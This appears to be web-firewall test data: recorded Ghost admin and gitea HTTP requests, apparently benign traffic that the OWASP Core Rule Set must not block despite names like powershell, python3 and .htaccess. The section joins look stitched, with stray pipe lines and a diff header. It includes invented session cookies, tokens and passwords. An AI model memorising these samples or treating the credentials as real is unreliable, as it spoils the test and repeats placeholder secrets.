{"method": "GET", "target": "/ghost/api/admin/oembed/?url=https%3A%2F%2Fexample.com%2Fblog%2Fpowershell-tips%3Fref%3Dghost&type=mention", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/users/password/", "headers": ["Host: example.com", "Content-Length: 158", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"password\":[{\"user_id\":\"6af4570fd281b00001a59891\",\"oldPassword\":\"Hv4-mQz8-Lr2x-Tp9w\",\"newPassword\":\"Zt6-Hm3q-Bv9k-Jc4w\",\"ne2Password\":\"Zt6-Hm3q-Bv9k-Jc4w\"}]}"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/posts/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA2OTQsImV4cCI6MTc5NDQwMDk5NCwiYXVkIjoiL2FkbWluLyJ9.ayqaBc1Hg4fbMZj_XbvUGlhloCnW_D5KDMN8A6uM68M", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 465"], "body": "{\"posts\": [{\"title\": \"Older editor format: python3 notes\", \"mobiledoc\": \"{\\\"version\\\": \\\"0.3.1\\\", \\\"atoms\\\": [], \\\"markups\\\": [[\\\"code\\\"]], \\\"cards\\\": [[\\\"code\\\", {\\\"code\\\": \\\"ls -la /var/www\\\\npython3 tidy.py .htaccess\\\", \\\"language\\\": \\\"bash\\\"}]], \\\"sections\\\": [[1, \\\"h2\\\", [[0, [], 0, \\\"Mobiledoc post about powershell\\\"]]], [1, \\\"p\\\", [[0, [], 0, \\\"Run \\\"], [0, [0], 1, \\\"ls -la\\\"], [0, [], 0, \\\" and keep .htaccess tidy.\\\"]]], [10, 0]]}\", \"status\": \"draft\"}]}"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/snippets/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 519", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "{\"snippets\":[{\"name\":\"python3 & .htaccess tip\",\"mobiledoc\":\"{}\",\"lexical\": \"{\\\"root\\\": {\\\"children\\\": [{\\\"children\\\": [{\\\"detail\\\": 0, \\\"format\\\": 0, \\\"mode\\\": \\\"normal\\\", \\\"style\\\": \\\"\\\", \\\"text\\\": \\\"Run ls -la, then python3 tidy.py .htaccess; on Windows use powershell.\\\", \\\"type\\\": \\\"extended-text\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"paragraph\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"root\\\", \\\"version\\\": 1}}\"}]}"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/themes/upload/", "headers": ["Host: example.com", "Content-Length: 2138", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhPTWHSPscackPlN", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "------WebKitFormBoundaryzhPTWHSPscackPlN\r\nContent-Disposition: form-data; name=\"file\"; filename=\"notes-theme.zip\"\r\nContent-Type: application/zip\r\n\r\n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\r\n------WebKitFormBoundaryzhPTWHSPscackPlN--\r\n"}
|
|
||||||
@@ -1,41 +0,0 @@
|
|||||||
# Ordinary gitea 1.27.3 requests that name a file or a branch in a body, which
|
|
||||||
# the Core Rule Set must let through while it reads bodies. They were recorded
|
|
||||||
# from a gitea driven by a headless Chrome, signed in, and by a script on the
|
|
||||||
# API. Each line is one request as JSON. Names, cookies and tokens are
|
|
||||||
# invented. The browser's User-Agent is an ordinary Chrome's.
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 62", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_branch_name\": \"main\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 103", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add Dockerfile\", \"head\": \"feat/docker-support\", \"base\": \"main\", \"body\": \"Builds the image.\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Accept-Encoding: identity", "Content-Length: 105", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"V3JpdGUtSG9zdCAiYnVpbGQiCg==\", \"message\": \"Add a PowerShell build script\", \"branch\": \"main\"}"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 864", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd2r1zGuX9U2OBld1", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocker-compose.yml\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nservices:\r\n web:\r\n image: nginx:1.27\r\n\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nPin nginx\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n0735bcea75feef4e6d8b85866be904fadd379426\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 862", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywVqkqv2Jr7ji4Kze", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs/python3-setup.md\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\n# Setup\r\n\r\nInstall the tools.\r\n\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd setup notes\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n71e995c2394ac116247f342fb116b0058e1ec738\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 621", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQH6Zh33PIE4XdrL5", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRemove .htaccess\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nd44f04577d741b385554aaf75898d84c0e6be0e4\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 637", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5NJfG6GBxpj4Yj1g", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRemove scripts/install-script.sh\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\ne0855ca76e18ad6cc42b3ed5c99247293522f926\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=docker-build"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/branches/rename", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 32", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=powershell-build"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/branches/rename", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 46", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=powershell-build&to=fix-powershell-module"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 917", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXJTF93HAC8mrhTox", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocker-compose.yml\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nservices:\r\n web:\r\n image: nginx:1.27\r\n restart: always\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRestart the web service\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nfeat/docker-support\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nc6cac64cde0f4e20fc2e0fc7e947145752b50ab5\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 853", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6wkagZ2DWcFZT1EP", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs/setup.md\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\n# Setup\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd setup notes\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\npowershell-setup-notes\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nc6cac64cde0f4e20fc2e0fc7e947145752b50ab5\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 648", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGgvHwu0BZkGKBgYt", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nDrop the old setup script\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\npython3-migration\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nc6cac64cde0f4e20fc2e0fc7e947145752b50ab5\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt--\r\n"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 78", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"powershell-ci\", \"old_branch_name\": \"feat/docker-support\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 76", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_ref_name\": \"fix-powershell-module\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 67", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"docker-build\", \"old_ref_name\": \"python3-docs\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 84", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"update-powershell-scripts\", \"old_branch_name\": \"powershell-ci\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/docs/notes.md", "headers": ["Accept-Encoding: identity", "Content-Length: 117", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"IyBOb3Rlcwo=\", \"message\": \"Add notes\", \"branch\": \"python3-docs\", \"new_branch\": \"update-powershell-docs\"}"}
|
|
||||||
{"method": "PUT", "target": "/api/v1/repos/alice/tools/contents/docker-compose.yml", "headers": ["Accept-Encoding: identity", "Content-Length: 220", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6IG5naW54OjEuMjgK\", \"sha\": \"3c7f894b1cd24c6756ec9b3bfd82c15f9f14b621\", \"message\": \"Pin nginx 1.28\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"feat/python3-support\"}"}
|
|
||||||
{"method": "DELETE", "target": "/api/v1/repos/alice/tools/contents/.htaccess", "headers": ["Accept-Encoding: identity", "Content-Length: 100", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"message\": \"Remove .htaccess\", \"sha\": \"5a928f6da25ac6d6ba65480b76d03a71cb906138\", \"branch\": \"main\"}"}
|
|
||||||
